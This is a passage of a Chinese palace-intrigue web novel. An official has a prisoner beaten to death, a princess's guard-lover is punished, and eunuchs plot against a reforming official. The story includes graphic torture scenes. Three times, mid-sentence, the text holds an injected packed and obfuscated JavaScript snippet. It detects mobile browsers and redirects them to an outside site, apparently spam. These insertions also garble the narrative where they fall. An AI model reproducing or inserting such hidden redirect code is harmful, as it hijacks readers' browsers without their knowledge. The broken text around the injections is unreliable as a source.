从外看尚参悟不出玄机,进了诏狱才知道里面别有洞天。 血腥味混着腐败的味道直冲肺腑,滑腻的石阶上沾染得不知是青苔还是陈旧的血迹。 这地方郁仪是第一次来,这份森然的寒意像是要将人的骨头都刺穿。 两个锦衣卫缇骑守在外头,验过了郁仪的令牌轻声道:“太后娘娘要的口供还没记好,苏侍读且在此稍等片刻,里头还在审呢。” “我能进去吗?”郁仪不知永定公主尚在何处,心里的石头仍悬着放不下。 缇骑犹豫了片刻,才说:“自然是可以的,只是里头血腥气太重,又……怕两位大人受不住。” 里头既然在刑讯逼供,只怕是惨烈异常。 郁仪垂眸:“无妨,带我们进去吧。” 走下石阶的最后一层,诏狱里已是暗无天日,完全只靠墙壁上的四支灯烛照明。 沾血的刑具摆了一排,刑凳、廷杖立在墙边。 血腥气混着不明的浊臭迎面扑来,一声又一声不像是人能发出的含混嘶吼,叫人两股颤栗。 刘司赞已经有些站立不稳,郁仪拍了拍她的胳膊轻声说:“你出去等我。” 刘司赞摇头不肯:“我陪你。” 郁仪见她脸色惨白,明显是强撑,于是再次道:“我没事的,你放心。” 刘司赞见她如此说,终于咬牙:“我就在外面,有什么事你派人叫我一声。” “好,去吧。”郁仪将手中的灯挑得更高些为她照路,“当心。” 晦暗的牢房中摆着一张椅子,一个人背对着众人坐在那,侧面站着都察院的几名御史。 一个锦衣卫上前来道:“张大人,犯人昏过去了。” 昏昏昭昭,不见天日。 张濯用郁仪从没有听过的冰冷嗓音道:“泼醒。” 身旁一道听审的刑科主事面露不忍,不由上前一步:“依律犯人每旬只能受刑审一次,他已连续受刑三日,今日不如免了吧。” 看不清张濯的脸,只听他笑了一下:“是么。”他手边的茶还在冒着热气,张濯抬起手将茶端至唇边:“我不识得前几日的审官是何人,可今日明明是我第一次审他,哪里有三日呢?” 语气温文尔雅,好像在说的不是血腥的杀伐,而是秋月与春花。 17.谒金门(一) 张濯今日没打算留下这个活口。 从他走进诏狱里的那一刻,便给汪又判定了死刑。 记忆中傅昭文便是死在了太平三年的秋天,除了黄册案之外,也正是汪又四处收集了大量不尽不实的证据,只想置傅昭文于死地。 幸而上天能给他重活一世的机会。 在抓捕汪又那日,张濯已亲自将他家中的各类卷宗抄没干净。 傅昭文亦不再是黄册案的主裁官,张濯将他从这件事彻底摘离出去。 现在局中人,只剩下了张濯自己。 * 郁仪来不及思考张濯的动机,只在目光所及之处搜寻着永定公主的位置。 角落里摆着两架屏风,屏风后是一口水缸。郁仪看到了一片衣角轻轻动了一下,藏在这扇陈旧的屏风后面。 永定公主。 除了她,又还有谁需要藏匿于此。 一定是有人刻意将永定公主藏于此处,不然她纤纤弱质,如何能在众目睽睽之下藏身在此处?那又会是谁,是张濯,是皇帝? 另一边,张濯已经起身走到了汪又身边。 他如今已气息奄奄,遍体鳞伤,几乎看不出人形。 浑浊的眼睛望向张濯,只用嘶哑至极的声音说:“我要见陛下。” 张濯倾身至他耳边:“你要见陛下说什么?是要将欲加之罪加诸在傅次辅身上,还是将你协同舞弊之事供述出去?” 汪又显然没料到张濯对他的行迹了如指掌,他挣扎两下,嘶声道:“你这是污蔑!你知不知道我是谁的人?” 张濯用只有他们二人能听清的声音道:“我告诉你这些,是为了不让你当个糊涂鬼,我知道你是首辅赵公绥的人,你这一切也都是得了他授意,那又如何呢?你想等他救你,对吗?” 正在此时,有锦衣卫上前来对张濯道:“张大人,赵首辅正带人往诏狱走呢,只怕马上便要到衙门口了。” 汪又闻言,眼中有喜色流露,口中喃喃:“天不绝我。” 张濯对着侍立一旁的锦衣卫淡淡道:“继续用刑,刑死无咎。” 此言既出,四下皆惊。 这分明是取汪又性命的意思。 他带着太后的谕令而来,无人敢不从。 “张濯!你好大的胆子!”汪又的声音骤然变得绝望又惊恐。 廷杖入肉的声音伴着嘶吼声,听得人胆战心惊。 “堵嘴。”张濯道。 痛呼声听不到了,只有痛苦的闷哼与皮开肉绽的杖责声响彻在这方寸之地。 锦衣卫用刑,又有索命不索命之分。 这次刑杖显然是取人性命去的,五杖之后,汪又已然发不出声音,又十丈过后,掌刑的锦衣卫摸了摸汪又的脖子,掏出袖中短刀割下汪又的舌头,回头对着张濯道:“张大人,犯人受刑不住,已经死了。” 他手中还托着一个托盘,上头摆着一团模糊的血肉:“咬舌自尽。” 人都死了,谁还在乎是真自尽还是假自尽呢? 也是此时郁仪才发觉,这名掌刑锦衣卫剑眉星目,挺拔英俊,一身曳撒穿在身上,煌煌灯下自有一番消沉风流。想来此人便是刘司赞口中那位得到永定公主垂青的锦衣卫了。只是他下手果决残忍,杖杖见血,是和他相貌不相符的狠厉决绝。 张濯的目光落在这托盘上,神色冷淡:“写进卷宗里。” 正在此时,有小火者在门外高声道:“赵首辅到——” 取人性命,从来都不是一件值得高兴的事。 张濯沉默地将手指擦干净,而后起身相迎。 转过身的那一瞬,他竟看到了从始至终都站在门口的苏郁仪。 如此淋漓血腥的一幕不加掩饰地呈现在她的眼前,郁仪的脸色有些苍白,只是那双深眸,乌黑深沉,正一眨不眨地看着他。 两世的苏郁仪都不曾见过他如此残忍乖戾的一面。 丝丝缕缕的不安如同蔓长开的藤蔓一点一点将张濯裹挟。 他的心沉沉地坠去,坠向深深的瀚海,坠向无望的长夜。 雪满弓刀。 那一刻,张濯害怕看见她那双黑白分明的眼,像是一盏幽幽的孤灯,让他几乎无处躲藏。 侍立一旁的锦衣卫轻声补充:“苏侍读是得了太后的口谕来的,说是要一份口供。” “找个人抄一份给她。” 张濯没再看她,起身向阶上走去。一群人跟在他身后向外走,官袍猎猎,好不热闹。 诏狱里除了一个看守尸体的锦衣卫外再无旁人。 那个年轻英俊的锦衣卫下意识看向郁仪,与她目光相碰的一刻,又下意识避开。 郁仪暂不理睬他,而是径直走到屏风后。 永定公主不知从哪里寻来的一件小太监的衣着,宝蓝色的外衣松松大大的穿在身上,缩在屏风之后,见了苏郁仪显然也吓了一跳。 “苏姐姐……” 她一双眼楚楚动人,分明也吓得不清,她怯怯地拉郁仪的袖口:“是我母后让你来的吗?” “殿下。”郁仪低声道,“你怎么可以来这里?” 永定公主脸上一点血色都没有,显然从没有见过如此血腥的一幕,就连手都是冰凉的。她瑟缩了一下,抿着唇不吭声。 “谁带殿下来的?” 永定公主的眼底藏着一汪泪:“是我自己……” 郁仪抬起手指向那个自始至终一言不发的锦衣卫:“是他?” “不是他。”永定公主小声分辨,“真不是他。” 郁仪哪里听不出她的回护之意。 那个锦衣卫缓缓走到她们二人面前,对着永定公主跪了下来:“属下带公主来这里,就是为了让公主知道,属下根本不是什么好人,公主若在属下这样的人身上花再多的心思,也都是枉然。” 他脸上看不出喜怒,只摊开手,将染血的掌心暴露在永定公主的眼前。 鲜血已渐渐干涸,顺着他的掌纹,凝结成暗褐色的痕迹。 “这双手沾过的血,连属下自己都记不清有多少了,断送在这双手上的性命擢发难数,属下自知带公主来这样的地方自知是大不敬,稍后自会领刑杖,只请公主断了这份念想,只当是从未见过我这么个人。” 泪珠盈睫,永定公主咬着嘴唇不肯出声。 郁仪将手中拿着的披风披在永定公主身上,不再理会那个跪在原地的锦衣卫,将她从诏狱里拉了出去。石阶上满是滑腻的青苔,公主走得摇摇晃晃,郁仪余光中能看到那个锦衣卫几次想要起身搀扶,最终都放下了手。 他从始至终都跪在原地。 刘司赞在门口已然等得心急如焚,见郁仪将永定公主带出来,简直如蒙大赦:“我的小主子,您可真是吓死奴婢了。” 永定公主又是伤心又是害怕,见了熟悉的刘司赞心里更是委屈,扑进她怀里便哭起来。刘司赞用目光询问郁仪发生了什么,郁仪轻轻摇头:“回慈宁宫再说吧,轿子呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13782681|143572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “停在门口,现下他们都在迎接赵首辅,无人注意咱们这边。先送公主回去要紧。” * 赵公绥披着一件朱红斗篷站在衙门口的廊下,乌泱泱地一大群人将他围在中央。 他已过半百,头发胡须仍不见斑白之色,一双眼睛带着鹰隼般的锐利,不加掩饰地看向张濯。他不说话,也无人敢说话,张濯便在一派阒寂里对着他行礼:“赵阁老。” “担不起张大人这声阁老。” 赵公绥笑意幽深,不及眼底:“多的我也不叙了,今日我来这里,为的是汪家那个不成器的孩子,还请你张大人高抬贵手,留他一条命。他自小都跟在陛下身边,他父亲做得混账事他根本不知,又是陛下身边亲近的人,你不看僧面看佛面,是打板子还是判他流刑,我都认了,留他口气就是功德了。” “赵阁老来晚了。”张濯语气平淡,“他在一刻钟前受刑不住,已经自尽了。” 赵公绥沉默片刻竟笑了,连说三个好字:“好一个张大人。好一个张尚书。” 他挥手让周围人退远些,只余他和张濯两个人:“他是什么身份?你是连陛下的面子都不给了?” 张濯并未对他说的话产生什么波澜:“汪又的确和他父亲的事不相干,可他还做了什么,赵阁老不会不知道吧。曹岑是如何入的宫?这件事从头至尾,都是赵阁老的意思吧。依臣下看,这件事知道的人越少便越好,现在汪又死了,阁老该高兴才是。” “你这是在要挟我?” “不敢。”张濯立在春阳下,眉目清冷,说出的话却让人胆寒,“只是张濯劝阁老一句,与其保一个江河日下的汪家,不如顾念着曹家。汪又的供状就在我这里,我把它交给太后,只怕赵阁老也护不住曹岑,曹岑的命难道不比汪又值钱吗?” “将供状给我。”赵公绥道,“我欠你一个人情。” 张濯垂眼:“顾念着阁老,这份供状张濯会按住在自己手里,不呈交给刑部。” 这其实是赵公绥最不想见到的结果,因为这意味着留了个把柄在张濯手上。纵然曹岑的事威胁不到自己,可赵公绥仍不想轻易舍了这步棋,也不想舍了曹家能给他的恩惠。 赵公绥盯着张濯,张濯却没有看他。 余光里,一顶青色的轿子正穿过不远处的通廊,向垂花门外行去。那穿绿色官服的女郎正在同轿中人低声说着什么,从始至终都不曾向他们这方向看来。 赵公绥是一等一厉害的人物,张濯不能在他面前露出半分关注苏郁仪的情状来,只能任由她的身影消失在视野尽头。 “我头一次见你时,你这么高。”赵公绥比了个高度,“跟在傅昭文身边一口一个赵阁老,一晃十多年,老朽养大的狼崽子都会咬人了。” 他抬手拍了拍张濯的肩,齿关龃龉:“前途无量。” 言及至此,再多说也无意了,赵公绥面无表情地对着远处站着的几个大臣道:“走吧,咱们回去。” “可……” “这儿有张大人在,老朽很放心。” * 走出诏狱,张濯在幽深的夹道中间站了良久。 高耸的红墙像是排山倒海般向他压来,像是要把山川湖海与皇城都折叠在一起。 张濯掩唇咳了几声,身边内侍问:“张大人出宫吗?” 袖中像是弥留着未散的血腥气,让人作呕。 张濯看向郁仪背影消失的尽头,轻声说:“去慈宁宫。” 18.谒金门(二) 慈宁宫里花香满地。掐丝珐琅的宣德炉上绘镂刻着一左一右两只狻猊兽,一股紫烟如同倒流的瀑布,散在静得吓人的空气里。 永定公主的衣饰已经重新换过,跪在太后面前哭得梨花带雨。 太后素来喜怒不形于色,写字的手都不曾顿一下,身边人却都知道她盛怒已极。 “告诉周行章,将那个姓陆的百户给哀家找出来。”太后看都不看永定公主一眼,檀口轻吐出两个血腥的字,“杖毙。” 周行章是锦衣卫指挥使,也算得上是太后的心腹之一。 公主听闻悲痛欲绝,膝行数步上前:“母后,母后,儿臣知错了。母后,你不要杀他。” 殿下众人没有人敢说话,更没人敢替那个百户声辩。 永定公主见太后不为所动,又转头去求孟司记:“孟姐姐,你替我求一求母后。” 孟司记轻轻摇头:“殿下,若非这位陆百户别有居心,怎么会惹得殿下让娘娘担心,殿下听奴婢一言,还是和娘娘认个错服个软,娘娘心里最疼殿下了。” 听孟司记这么说,永定公主脸色彻底白了,她转头四望,见刘司赞和邓彤史也不敢和她对视,便只将最后的希望寄托在了郁仪身上:“苏姐姐,求你帮帮我。” 郁仪叹了口气,和她一道跪在太后的面前:“娘娘,这位陆百户,下官也与他打了个照面。听说他早年供职于驯象所,后来又成缇骑,周行章周大人很器重他,虽然他只是个百户长,若一切顺利的话,不出三年便能领一所之事。娘娘若有惜才之心,就算不顾念陆百户自己,也求您顾念着周大人。” 太后不说话,也不点头,郁仪便继续说:“陆百户是武举人出身,会用双剑。内武堂中有不少人都是他的弟子,良将难寻,娘娘罚他是应当的,只求娘娘留他一条命吧。” 太后抬起头显示看了一眼郁仪,才将目光落在永定公主脸上:“映禾,你知不知道有时候你自己的尊严不仅仅是你自己的尊严,还是哀家和皇帝的尊严?” “你是大齐千尊万贵的永定公主,这天底下多少好儿郎任你挑选,为何偏偏要把心思放在这种人身上?” 永定公主低声啜泣:“既然天底下的儿郎都能供儿臣挑选,那为何他不行?母后说儿臣千尊万贵,那为何儿臣保护不了自己想保护的人?” “殿下!”刘司赞终于忍不住道,“听娘娘的话,快认个错。” 听娘娘的话。 永定公主这个做女儿的,不知听了多少遍这样的话。 她咬着嘴唇匍匐在地,泪珠扑簌簌地掉下来:“母后,女儿错了。” 太后看了一眼孟司记,孟司记上前来将永定公主扶起来,拿帕子替她擦脸:“公主渴不渴,奴婢给公主倒一杯雪兰茶。” 永定公主啜泣着轻轻点头,孟司记便将茶端上来。 太后写完最后一本朱批,淡淡道:“将那个陆百户,罚俸半年,杖八十。” 听了这个数字,永定公主又是一抖。 郁仪拍了拍她的胳膊示意她安心,锦衣卫用廷杖是有讲究的,想要一个人的命,十杖便能将人杖毙。若不想索命,便是八十杖也能留个活口。 这已经是最好的结果了,郁仪不想让公主再去求情,于是主动和太后说要送公主回去。正巧有内侍来报说陛下到了,太后也没说什么,挥挥手让她们走了。 出了慈宁宫的门,是一片杏树林。 种树也讲究因地制宜,南梅北杏的说辞已践行了数百年,《汜胜之书》亦写到“杏始华荣,辄耕轻土。望杏花落,耕辄劳之”,因杏花又兼有农时的典故,太后便命人在慈宁宫遍栽杏花。 永定公主一面流泪一面对郁仪说:“苏姐姐,谢谢你。”她知道郁仪能在这时候替她说上句话,已经是救了陆百户一命了。她从自己头上拔了一根钗塞给郁仪:“这事我不方便出面,你替我找个机会打点一下,叫周行章别把人打残了。” 郁仪低声道:“这事,陆百户其实做得不周全。” 若想叫永定公主死心,法子多得很。他偏偏找了个最血腥最残忍的方式,将这煌煌朝廷阴郁的背面透露给公主看。不知他心里想的是什么,也不知道他会不会后悔。 永定公主拭了拭眼角:“我情愿他说他喜欢旁人,也不想让他用这样的法子摆脱我。他说他残忍不堪,也直直白白地做给我看,可我心里明白他不是嗜杀成性的人,这许多事身不由己,于我是,于他也是。他以为这样的法子可以断了我的念头,可我何尝不懂他?” 郁仪心道不好,公主心思玲珑剔透,陆百户只怕也没料到,这样的法子没有吓住她。 “苏姐姐,你也觉得我母后是为我好吗?”她问出这句话时,郁仪竟然一时语塞。 “我已是受用不尽的富贵了,要什么得不到呢?”永定公主笑了笑,“她心里到底是盼着我高兴,还是盼着我维护这天家的富贵体面,我比谁都清楚。” 她没再继续说下去,只对着郁仪恭敬地一福:“多谢你替他说话。” 郁仪避身不受,上前来将她扶起:“下官说的都是心里话。” 送永定公主上了肩舆,待郁仪回过身时,竟意外地看见了张濯。 他站在一棵杏树前不知过了多久,花落如香雪,唯有张濯眉目沉静澹泊,如山巅云、林上雪。可郁仪脑子里闪过的,却是他适才冰冷如江水的嗓音。 脉脉花疏天淡,云来去,数枝雪。 郁仪走上前对他行礼:“张大人。” 想起永定公主的嘱托,她将袖中的金钗递给张濯:“若对陆百户用刑,能不能从轻?这根金钗是公主殿下的心意。” 张濯道:“这本不必公主费心,周行章心里很器重陆雩,自然不会也不舍得真把他打死。” 陆雩便是陆百户的名字。 郁仪哦了声,垂下眼来看手中的簪子:“那我回头还给公主殿下。” 风吹花动,鸟惊庭树。 郁仪问:“张大人是来见太后的吗?” 风烟俱净,天高云淡。 张濯道:“有件事,我想问问你。” 郁仪惊讶:“有什么事是下官能替张大人解疑的?” 张濯怀中有汪又与曹岑勾结的供状,已经签字画押摁了手印,何时呈交给刑部,何时便会是曹岑论罪之时。彼时在大齐,若监考官协同舞弊是重罪,轻则流放,重则斩首。而于考生而言,舞弊罪不致死,最重的刑罚也不过是充军而已。 他平静道:“若有一个人罪不致死,但你知道他迟早会作恶,只不过当下他还没有动手。你会杀他吗?” 郁仪道:“既知他会作恶,为何不能早日规劝,反而任由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13792705|143572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他作恶,这不是助纣为虐吗?” 她说得一派赤诚,张濯却笑:“不杀他,难解我心头之恨。” “可……”郁仪蹙眉,“为何不给他个改过的机会呢?” 张濯微微躬身,与她四目相对:“若他伤害的人是你,你会原谅他吗?” 这是一种复杂的神情,郁仪第一次从张濯的脸上看见。 疼痛混杂着恨意与悲伤,张濯看着她,好像在等她给自己一个判决。 “张大人。”郁仪轻道,“我不能给没发生的事下定论。” “但我愿意给每个人,重来的机会。” 她真的好年轻,黑白分明的眼睛,带着细细绒毛的脸庞,说出的话全然不似她前世那般一步百算。可张濯知道郁仪从来都没有变过,她的皮囊之下,永远都保留着慈悲的底色。 他们二人前世姑且能算是同路知己,到了今生今世,却背道而驰。 又或者说,变的人是张濯自己。 张濯没说好也没说不好,他站直身子向前走了两步:“今日见了这样的我,可让你害怕?” 身后是一阵久久沉默。 张濯怕她不说话,又怕她说谎话。 “张大人。”郁仪叫他。 “好了,”张濯突然道,“不必说了。” 他垂下眼:“我要回户部了。” 才刚走过三五步,郁仪便在他背后开口了,她说:“这个答案对你很重要吗?” 空气一静。 张濯轻轻吸入一口微冷的空气,声音变得很轻:“不算重要。” 又沉默了很久,久到张濯以为她不会再开口。 郁仪的声音才自他背后响起:“我觉得我理应是要怕的,但我其实不害怕。” 她笑:“我也不知道为什么,总觉得张大人很熟悉,像是一位认识很多年的故人。” 张濯背对着她,没有回头:“我知道了。” “只是,公主那边,我不知道该怎么劝她。”郁仪忖度,“不知道该如何劝她放下。” 她是一心求教的姿态,张濯回身站定:“若是护不住自己想护的人,那还是自己不够强。” 郁仪听不出他话中深意,一边思考一边说:“可公主她哪里能掌握自己和别人的命运呢?” “是啊。”张濯微微眯着眼,看杏花扑簌簌地落下来,有两瓣纯白的花瓣,轻轻落在了郁仪的发间,而她浑然未觉。 张濯抬起头,将花瓣捻起,任由清风将它从自己掌心拂去:“若保护不了,便要学会成全。” “成全什么?” “她的夙愿,还有她的人生。” * 远远隔着月洞门,皇帝眯着眼看着风里说话的二人。 “苏侍读和张尚书好像走动得很是频繁?” 宝仁想了想说:“似乎正是张尚书举荐了苏侍读到太后娘娘身边。” “他们先前,可曾有故旧?” “倒也不曾,听说苏侍读曾是张尚书从松江府里选中的贡生,只是私下里从没有见过。” 皇帝负手而立,看着郁仪与张濯道别后走入慈宁宫里。 而张濯静静站在原地,目送她回去之后,才踅身离去。 “宝仁。”皇帝却突然来了兴味,“你说朕和张濯,谁生得更好些?” 19.谒金门(三) 永定公主给郁仪的那根金钗,郁仪托刘司赞的丈夫转交给了锦衣卫指挥使周行章。 刘司赞私下里告诉郁仪,确实是实实在在打了八十杖,人是被抬下去的。不过确实没有伤到什么筋骨,不过只怕要好好休养一阵子。 言罢刘司赞又叮嘱:“别说给公主听了,就当没有这回事。” 郁仪道:“若公主问起呢?” “你便说不知吧。”刘司赞说。 永定公主并不是个好糊弄的人,虽然她还未到及笄之龄,却是个心里敏锐的姑娘。几次与郁仪在慈宁宫外偶遇,她都殷殷地看着她,妄图她能说些什么。 郁仪终是没捱过她祈求的目光,照实告诉了她:“人还活着,也没有被打成残废,估计休息个把月便能回来继续当值了。” “这样啊。”永定公主轻垂眼帘,“他可有话给我?” 郁仪摇头:“没有。” “他是因为受得这无妄之灾。”永定公主叹气,“若是怨我,我也只好都接受。” “可若不是他将殿下带去诏狱里,又何至于此。”想到张濯说得话,郁仪又叮嘱,“在殿下不够强的时候,殿下的心意也会毁了一个人。” 这话倒是让永定公主凝然默默良久。 片刻后,她笑:“苏姐姐,我今天突然懂了,谢谢你。” 这笑容有些伤感,郁仪看过后心里也微微泛酸:“娘娘这么疼公主,会给公主挑选一位好驸马的。” “疼我?”永定公主莞尔,“这便是疼我了吗?” “我这公主,做得真是好生快活。” 这话郁仪没有接,永定公主也没想让她说什么。她很快便换回了过去常有的、天真烂漫的神情:“你回去吧,得空了我去找你玩。” 经历了这一件事,她倒是待郁仪亲厚了很多,或许是与郁仪年龄相仿,又或许是她心里觉得,郁仪是能懂她心思的人,不像是刘司赞她们一样,只一味劝她忍让听话。 * 进了五月里,秦酌被刑科的一位侍郎看中,叫去刑部做令史。虽然只是个九品小官,可到底是能替六科做事,算是个不错的去处了。 余下的人虽未直说,人人眼里都是说不出的歆羡。 他也是既苏郁仪之后,第一个离开庶常馆的人。余下的庶吉士们都按照以往惯例,留在翰林院为检讨、编修等职务。 郁仪是真心为他高兴的,送了他一套文房做贺礼。 没料到秦酌却根本高兴不起来,趁着四下无人,他压低了声音:“你以为这种天降的好事会轮到我?必然是刑科里需要有个背黑锅的差事留给我,不知道这前任令史是不是做了什么伤天害理的事,如今拍拍屁股就走,等我去了只怕要拿我开刀。不出一个月,我怕是要横死街头了。” 早便知道他喜欢长吁短叹,郁仪忍着笑宽慰他:“哪有的事,刑科令史不过是誊文撰字、伺候笔墨,又不是什么紧要的差事,你且宽心。” 秦酌哪里听得进这些话,他指着自己的旧箱子:“这里头有我攒的二十两银子,若我死于非命,还得托你帮我送还至我母亲手里。” 这交代后事的语气当真是叫人啼笑皆非,郁仪点头:“记得了,还有什么事你一并托付了,哦对,你用不用我帮你配一桩阴婚?” 秦酌摇头:“这就算了,我赚的这点银子还是别耽误别人了,嫁给我算是倒霉了。” “看在我们这份交情上,若我真有上西天的一天,你最好找来些耗子药,提前药死我。” * 彼时大齐是按人丁纳税,用户帖记录每户人丁、乡贯与事产、住址。每一户按照人丁数缴纳贡赋与徭役。人丁数多的多服徭役,人丁少的、或是孤老户可以免服徭役。 政策制定之初,构想自然是好的。 只是层层委派到地方就变了味道。 常常有地方豪强与提调官勾结在一起,把自己的人丁偷偷迁挪到别人家的户帖上去。 再加上有许多寻常百姓不识字,户帖都是交给官吏来写,根本看不懂自家户帖上写了多少丁口。 廑州河址县有一孤老户,户主姓金,两个儿子都死在了战场上,他只能靠左邻右舍接济度日。没料到新一年的户帖下来之后,命他缴纳三百斤稻谷并出两名男丁服徭役。金老头闻此噩耗,拄着拐杖到乡里去讨个说法,却被提调官三推四赶地撵走了,还说若一个月只能交不出稻谷,便要将他的两间瓦房征用走。 金老头步履蹒跚地走几里山路回家,天明前将家中所剩无几的半篮鸡蛋悄悄放在左邻右舍门口,而后投缳而死。 这样的惨剧历朝历代都见得多了,原本该草草了事,只是金老头的一个远房侄孙认识户部郎中吴阅先,将此事写给吴郎中,恳请他为自己的叔公讨个说法。 吴郎中如今已年近古稀,据说早年间因为政党倾轧而伤了心,除了在户部做些简单琐事外很少再管别人的闲事了。可饶是如此,吴阅先听闻此事气得几天几夜睡不着觉。他洋洋洒洒写了几千字痛陈人丁税的弊端,并提出以田亩税代替人丁税。并要求严惩廑州河址县的一众官员。 河址县的官员的确被罢免了,太后盛怒之下将几名提调官全部处死,并免去此县十年税金。 只是人丁税的事却触动了太多官员的命脉。 数月间,吴郎中屡遭弹劾,从说他收受贿赂再到他狎妓纵欲,泼尽脏水受尽污名。朝堂上十几位官员都要求罢黜吴阅先。 这桩案子很是棘手,太后也几天几夜睡不好觉。 她对孟司记说:“哀家何尝不知道人丁税的弊端,如今修黄册在即,像河址县的惨祸不知要在全国发生多少轮,只是改革势必要大动干戈,要动摇多少官员的利益。可瞻徇太年轻,哀家需要这些官员帮衬他,怕他们都和哀家离心,所以他们要从中捞银子,哀家也只能装作不知。” “可哀家心痛啊。”太后说这话的时候眼圈泛起红意,“哀家从先帝手中接下社稷的担子,承诺要让百姓过上好日子,可我没做到,我愧对先帝。” 她念着先帝的名字:“承缙,你走了这么多年,我真的好想再见你一面,和你再说两句话啊。” 孟司记掩面拭泪,坐在一旁的郁仪心情复杂至极。 慈宁宫里清清冷冷,高坐明堂的太后仍旧那样端庄华丽,可她那双含泪的眼睛饱含着无尽酸楚疲惫,像是老了十岁。 为什么入仕? 为了让天下太平,为了让更多的人吃饱穿暖。 可朝堂与政治,不是泛黄简牍上的三言两语,是多少生民百姓的命。 时局万马齐喑,有多少人被埋在黄土下,没有在青史上重见天日的一天。 又有多少人命如蝼蚁,连痕迹都未曾留下。 至于吴阅先,太后并没有处罚他,顶着这份压力将小山般的奏折压了下来。 可孟司记却私下里告诉郁仪:吴阅先只怕还是会保不住。 “孟司记,”郁仪问,“吴阅先是郢州人吗?” “是。”孟司记疑惑,“你认得他?” 郁仪抿唇:“不认得,但是听说过。你方才说保不住,难道有连太后都保不住的人?” “是啊。”孟司记平淡道,“司礼监那边就第一个容不下他,你信吗?” * 司礼监衙门坐落在紫禁城内廷以东,毗邻中左门。 面北开衙门,面阔三间,院子干净无尘,太平缸里种了碗莲,细嫩的莲叶摊开在水面上,带着一股柔情似水的劲儿。若不是檐下的匾方上写了司礼监三字,旁人只怕会以为这里是哪个清水衙门。 如今司礼监为十二监中第一署,掌印名叫高世逢。 掌管着四局八司,外人都叫他一声内相,至于他身边的僚佐及小内使俱以内翰自命,一内一外俨然成了两处朝廷。 哪怕快入了夏,司礼监衙门仍显得有些冷,一连点了三四个炭盆。高世逢坐在主位上,一左一右几个小太监为他捶腿。他眯着眼,听首席秉笔杨合敬读诗。 “试玉要烧三日满,辨材须待七年期。周公恐惧流言后,王莽谦恭未篡时。向使当初身便死,一生真伪复谁知?” 高世逢听罢连连鼓掌,对着身旁几个秉笔笑说,“你们都听听,这是多好的诗,知道是谁写的吗?” 无人敢吭声,他坐直了身子:“好一个吴阅先,好一个吴郎中!” “他这是在讽刺杂家呢。”高世逢冷笑,“他说周公瑾这样的人都害怕死后流言,而王莽也只会在没有篡位是谦逊恭谨。怎么,杂家这大半辈子过来,还在乎这些身外虚名不成?” 念诗杨合敬人还年轻,话不多。 倒是秉笔左韫搭了这句腔:“吴阅先一派脑子就嚷嚷着要改,他也不看看他们户部还能不能掏出这么多银子。这些年要不是有咱们帮衬着,六部里有三部都得揭不开锅,如今还敢作诗讥讽咱们,这不是狗咬吕洞宾么?” 这话说进了高世逢的心坎里,他靠着引枕哼起两句昆曲:“我最看不起的就是这群穷酸文人,他们最喜欢明里一套暗里一套。这些年,咱们忙活了半天,还不都是为了他们。那些地主乡绅,哪有太监当的,不都是他们文人在当吗?这些油水咱们落几成,他们落几成,好像咱们抢了他们的似的。” “依儿子看,这吴阅先还是嫌钱分得少了。”左韫道,“拿点钱堵他的嘴算了,干爹何苦生他的气。” “咱们当太监的,福气都是当下享的。死后就算把我这老骨头从土里刨出来鞭尸又如何?”高世逢嘬着牙花子笑,“死去原知万事空嘛。” “这吴阅先是留不得了。”他反复将这首诗读了两遍,像是要背在心里,“你们看这最后两句,‘向使当初身便死,一生真伪复谁知?’意思是什么,意思是王莽要是死在做坏事之前,又有谁知道他要篡位呢,他娘的不就成大好人了吗?” 高世逢将这两张纸丢在桌上:“找个由头抓了吧,就说他对皇上太后有异心,以此诗污蔑陛下‘得位不正’。” 说罢他优哉游哉地喝了一口茶水:“今年才盖完地厂狱啊,花了那么多银子,还没怎么见血呢。便宜他这老小子了。” 高世逢又看向杨合敬:“合敬,你觉得呢?” 杨合敬人很安静,生得也有几分秀气,听了此话轻轻垂眸道:“是,干爹。” * 张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我去过司礼监了。”张濯的声音像是平静的湖水,“高世逢答应我暂且留他不死。” 郁仪抬起头,显然这件事也出乎了她的意料之外:“真的?” 张濯看着她的脸:“至于日后他是生是死,还得看三日后的堂审。” “你为什么会帮他?”郁仪记得刘司赞说过,张濯和吴阅先素无来往,平日里也只是点头之交。 “第一,他是户部的人。”张濯淡淡道,“至于第二点,同你一样这也是我的私事,我也不能告诉你。” “只是苏郁仪,”张濯说话时总喜欢微微欠身,好与她平视,“你要向我保证,不要插手此事,而我会帮你达成你想要的一切。” 四目相对。 他轻抬右手:“我要你与我击掌为誓。” 张濯的手掌清瘦而干净。 掌纹如傀儡戏的丝线,纵横在这只苍瘦的手掌间。 他眉目出尘,眼底烟波浩渺。 郁仪没有抬手:“张大人如何知晓我要什么?” 她抿了抿唇:“而我也不想欠大人这个人情。” “很多事我自己能做到最好,做不到的话,便能走到哪步算哪步。我的确想帮一帮吴郎中,但不想仰赖张大人。” 郁仪退后半步对着张濯行了一礼:“若张大人有助我之心,我自铭感五内。只是余下的事,还请张大人让我自己来做吧。” 张濯缓缓收回了停在半空中的手。 “对不起。”他突然道。 郁仪没料到这句话会出自张濯之口:“怎么?” 